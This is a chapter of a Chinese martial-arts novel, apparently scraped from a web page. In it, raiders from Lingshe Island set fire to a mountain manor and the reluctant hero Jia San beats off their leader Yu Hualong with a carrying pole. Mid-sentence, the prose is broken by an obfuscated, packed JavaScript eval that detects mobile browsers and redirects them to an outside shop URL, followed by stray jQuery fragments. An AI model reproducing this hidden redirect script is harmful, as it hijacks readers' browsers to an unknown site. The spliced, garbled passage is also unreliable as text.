话说沈玉郎的死讯传到山庄后，贾三一连数日不曾出门。每日除了吃饭睡觉，便是坐在廊下发呆。
山庄外头的草棚市集却比从前更冷清了几分。那个新来的说书人讲完“赛孟尝魂归破庙”之后，便收了惊堂木，不知往哪里去了。茶寮掌柜说，那人临走前在摊子上喝了一壶最便宜的茶，从怀里摸出一把铜板数了又数，末了留了两个在桌上，剩下的全揣回去了。卖炊饼的老汉依旧天不亮便在山庄门口搁一只热饼，只是近来收摊的时候越来越早，从前要卖到日头偏西，如今刚过晌午便挑着空担子下山了。他每回下山前都要往山庄大门的方向望一望，然后摇摇头，挑着担子一瘸一拐地消失在坡道尽头。
铜锁注意到，草棚市集里那些嚼槟榔的陌生面孔，近来又多了一拨。不是上回那几个穿灰布短褐的，上回那几个蹲了三日便走了，像是没等到他们要等的什么人。新来的这拨穿的是粗布黑衣，腰间鼓鼓囊囊的，不知揣着什么。他们不喝茶，不买炊饼，也不蹲在路边争论重心在左脚还是右脚，只是远远地望着山庄大门的方向，偶尔交头接耳几句，然后便有一个人起身往山下走，另外几个依旧蹲着。
这夜铜锁巡夜时，在山庄后墙根下发现了几片踩倒的蕨草。他蹲下去，拿手指丈量了一下脚印的深浅，比上回余化龙来时留下的浅，却更密，像是至少有五六个人在墙外来回踱过。他把手指从泥里收回来，在衣襟上蹭了蹭，站起来继续巡夜。回到房里，从枕头底下摸出那个灰布包袱，解开，将剔骨刀别在腰间，然后继续磨那根锈铁钉。
又过了两日，钱四海的伙计来送新样品时，顺嘴提了一句，灵蛇岛近来在城外渡口盘下了一座货栈。那货栈从前是飞鱼庄用来囤矿砂的，白不群今年把矿山赔了个底掉，急着回笼银子，便把货栈折价盘给了谢无畏。伙计说，盘栈那日，余化龙亲自带人来点货，铁皮箱搬了一整夜，箱子上贴着封条，写的是“药材”。茶寮掌柜在旁边听见了，探过头来插了一嘴：“药材怎么搬起来比刀枪还沉？”那伙计笑了笑，端起茶碗喝了一口，没有答言。
铜锁把这话转述给贾三时，贾三正低头往靴子里塞鞋垫。他塞鞋垫的手停了一下，忽然问：“那棵柿子树还在不在？”铜锁说在，只是叶子掉光了，枝丫上挂了几根枯藤。贾三嗯了一声，继续塞鞋垫。塞完了站起来跺了跺脚，又问：“后山那条小路，通不通山下镇子？”铜锁说不通，那条路只能通到灵蛇岛新盘下的货栈后门。贾三把鞋垫塞好，抬起头来看着铜锁，铜锁也看着他。两个人对视了一息，什么也没说，却像是把该说的都说了。
且说这日傍晚，苏牧羊来了。他还是穿着那身洗得发白的灰布袍，腰间挂着那口旧酒葫芦。这一回来，他没有带酒，他站在山庄门口，没有进去，只让人把铜锁叫了出来。铜锁出来时，看见苏牧羊从袍子底下摸出一柄旧剑，剑鞘磨得发白，护手处有两道极深的划痕，那是用剑时留下的。他把剑往铜锁手里一搁，说：“守拙门的剑，虽不值钱，尚能饮血。你家主人不会使，你替他收着。”铜锁接过剑，低头看了一眼，剑柄上刻着两个极小的字。苏牧羊已转身走了，走了两步又停下来，头也不回地说了一句：“灵蛇岛的人昨夜在后山试了一夜的箭，箭尾没有拴油布。”说完便大步下山。
铜锁便将那柄旧剑挂在了山庄大门内侧的门闩横木上。挂剑的位置，刚好和那根同样横在旁边的扁担齐平，一剑一扁担，横在门闩上方，倒像是两根方向相反的路标。
然而剑还没来得及出鞘。
当夜，三更时分。贾三正睡得迷迷糊糊，忽然被一阵浓烟呛醒。他翻身坐起，只见窗外红光冲天，庭院里噼里啪啦的燃烧声混着喊叫声响成一片。铜锁一脚踹开房门冲进来，头发烧焦了一绺，半边袖子被燎得焦黑，手里攥着苏牧羊那柄旧剑，剑身映着火光，明晃晃地发红。
“前辈，后山有人放火箭，柴房和东厢都着了。来人翻墙而入，至少有十余人，看路数是灵蛇岛的。”
贾三赤着脚跳到地上，抓起枕头底下的那块木牌和玉佩，不知为什么，他没有去碰那些值钱的东西，却下意识先攥住了这块玉佩。他把木牌塞进怀里，又将玉佩的挂绳套进脖子里，厉声问：“外头的人呢？”
铜锁说，值夜的弟子都在前院救火，偏院后墙被撬开一道豁口，那些贼人便是从豁口摸进来的，正往前院包抄。贾三冲到窗前往外看了一眼，庭院里浓烟滚滚，火光把柿子树的枯枝映得狰狞如骨，几个黑衣蒙面人正从花厅那头往书房摸过来，为首那个尖脸三角眼，身形瘦长，正是余化龙。
贾三的心怦怦直跳，脚底板冰凉，手心里全是汗。他把柳如烟的信和那半块霉饼用油纸裹好，塞进怀里，又从门后抄起那根扁担。扁担入手时，竹皮上的金漆已被铜锁擦得薄如蝉翼，露出底下那个歪歪扭扭的“贾”字，与手心磨了二十年的老茧恰好吻合。铜锁按剑跟在他身后，低声道：“正门火光太大，走菜地角门。”两个人贴着墙根，穿过浓烟弥漫的回廊，往后院菜地摸去。
菜地那边火势尚未蔓延过来，角门的木闩已被铜锁提前拨开。贾三一手攥着扁担，一手拽着铜锁的胳膊，两人刚摸到角门边上，斜刺里忽然闪出三条黑影。为首那人尖声冷笑：“贾大侠，深夜出门，也不打个招呼？谢岛主在灵蛇岛备了好酒，专等您去讲讲‘吃葡萄不吐葡萄皮’的真义呢。”说罢右手一抖，从腰间抽出一柄分水峨眉刺，淬过毒的。
贾三的脑子里嗡的一声响。他听不懂什么岛主不岛主，他往后退了一步，背靠住菜地的矮墙，右手攥紧了扁担。
他抡起扁担，横着挥了出去。这一挥没有任何章法，扁担在空中划出一道极短的弧线，竹梢带着风声，啪地抽在余化龙的右手腕上。余化龙只觉腕上一阵剧痛，峨眉刺脱手飞出，钉在菜地边的篱笆上，尾端颤了两颤。他低头一看，手腕上多了一道淤紫的痕，边缘正在往外渗血。
“你——”
他还没说完，铜锁的剑已经从下往上斜掠过来。铜锁不会剑法，这剑也没有招式，就是当年在厨房里剔猪腿骨的动作，刀尖贴着骨头缝往下走，不偏不倚，不快不慢。余化龙慌忙侧身，肩头被剑尖划开一道口子，血溅在菜地边的篱笆上。
贾三抡完那一下便停不下来了。他不记得自己挥了多少棍，也不记得自己有没有喊，只记得自己握着扁担一通乱抡，劈、扫、捅、砸，每一下都是当年在村口赶野狗的动作，左一记劈在贼人肩胛上，右一记扫在另一个的面门上，扁担敲在骨头上发出闷闷的声响。竹梢被血染红了，握在手心里湿漉漉的，分不清是汗还是别的什么。有一个贼人从侧面扑上来想夺他的扁担，被他本能地挥出去杵在胸口上，那人闷哼一声往后栽倒，后脑勺磕在菜地边的石头上，晕了过去。
偏院外墙豁口处已是一片混战。火光把柿子树的枯枝映得狰狞如骨，浓烟呛得人睁不开眼，十余名黑衣人有的持刀，有的执刺，正与山庄的护卫缠斗。铜锁持剑护在贾三身侧，剑尖在火光里划出一道又一道短弧，每一道都不花哨，却每一剑都逼退一人。温伯安披头散发地提着一口铜锣，从影壁后面跌跌撞撞地跑出来，左手提锣右手举锤，用尽平生力气敲了三下，大喊：“金刀门援兵已到坡下——尔等还不退去！”锣声在夜色里传出去很远，山下隐约起了马蹄声，由远及近，越来越密。
余化龙捂着肩头，听着山下越来越近的马蹄声，又看看自己那两个被扁担敲昏在地上的手下，面上的神情冷了下去。他往后退了一步，又退了一步，然后从牙缝里挤出两个字：“撤。”几个黑衣人架着伤者，从菜地豁口鱼贯而出，消失在灌木丛中。最后一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830817|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
翻墙的贼人慌不择路，脚下一滑从墙头摔下来，后腰磕在豁口的碎石上，痛得闷哼一声，爬起来连滚带爬地钻进了林子。
贾三拄着扁担，大口大口地喘气。他的绸衫袖子不知什么时候被烧焦了半边，赤着的脚被菜地里的碎石硌出了几道口子，左手虎口被扁担上的竹刺划了一道深痕，血顺着竹柄往下淌，滴在王寡妇纳的鞋垫上，把那只歪歪扭扭的“安”字染成了深褐色。铜锁扶着他的胳膊，低声说前院的火势已经控住了，金刀门的人正在清理豁口。他的声音很稳，只是握剑的那只手还在微微发抖。
贾三拄着扁担，回头望向菜地豁口外漆黑的山林，忽然想起他自己方才挥出的那一下扁担，就是货郎赶狗。可就是这一下赶狗，真的敲断了余化龙的手腕。那些日日在他嘴里反复念叨的“我不是大侠”，和今夜这结结实实的一扁担相比，到底哪个才是真的？
火灭了，山庄里一片狼藉。东厢房的屋顶塌了大半，焦黑的椽子横七竖八地戳在瓦砾堆里，冒着缕缕青烟。花厅的墙上被烧出几个大洞，月光从洞里漏进来，照在地上的积水中。菜地边上的篱笆被踩得稀烂，倭瓜藤被烧得焦黑，只剩几根残茎还攀在石头上。几个值夜的弟子蹲在井边打水浇灭余烬，脸被烟熏得乌黑，只露出两只眼睛。孟姑系着围裙站在焦黑的厨房门口，手里端着一屉没来得及蒸的生糕，头发被火燎去了一绺。她望着那塌了半边的灶台，忽然把蒸屉往地上一放，蹲下去捂着脸，肩膀剧烈地抖动了几下，然后站起来，用围裙擦了一把脸，头也不回地往菜地走去，她要看看那几株还没烧坏的倭瓜还能不能救活。
贾三站在院中，抬头望着夜空。月亮被浓烟遮住了大半，只露出一道极淡的银边，似是被什么东西咬掉了一块。
他忽然觉得，这月亮有些眼熟。
那年在破庙里，雨停之后，他抬头看见的，好像也是这么一弯月亮。那时候他手里攥着半个霉饼，脚边躺着两具尸首，脖子上的玉佩还带着死人的体温。那时候他不知道，从那一刻起，自己便不再是贾三了。
如今这座烧焦的山庄里，所有人都忙着泼水、搬瓦、数点剩下的家什。没有人注意到，这个穿着烧焦绸衫、赤着脚、手里拄着扁担的男人，仰头对着那弯被浓烟遮得支离破碎的月亮，无声地淌下两行泪来。那泪从眼眶里涌出来，顺着鼻梁滑下去，滴在烧焦的泥土上，连声响都没有。
铜锁站在他身后，什么也没说。他只默默地把那柄旧剑擦干净，挂回门闩横木上，然后回身往厨房走去，孟姑在救火时烫伤了手，秦不收的药箱被埋在塌了半边的书房瓦砾下，需要人去刨出来。
张半仙那夜也没有睡。他歪在山庄门口的石阶上，面前那只破碗里空空如也。他竖着耳朵听了一整夜的火声、锣声、打斗声，末了听见那阵急促的马蹄声从坡下卷上来又卷下去，自言自语了一句：“火是假的，扁担是真的。人是假的，泪是真的。”老龟缩在壳里，一动不动。它背上那层经年累月的泥垢，被夜风吹干了，裂成几道细纹，与石阶上被火烧过的灰痕混在一处。
——
附：山庄火灾记录（据武林盟档案室存）
是夜，归真山庄遭灵蛇岛余党纵火。东厢全毁，花厅、书房、厨房各有损伤。值夜弟子三人负伤，秦太医医案及未定稿若干毁于火中。贾大侠以扁担击退余化龙，伤其右腕。金刀门赵掌门闻讯率众赴援，追至山下方止。事后查验，菜地篱笆外遗有断箭一支，箭镞淬毒，无标记。又，温伯安事后于《归真日录》中补记数行：“是夜火起，余化龙率众逾墙，大侠持扁担御之。扁担所至，贼皆披靡。老夫提锣助威，锣响三声，援兵至而贼退。然山庄已损近半，文稿医案散佚尤多。大侠足伤，不肯敷药，独坐廊下望月，良久不语。老夫不敢近，唯记其背影，以俟来日。”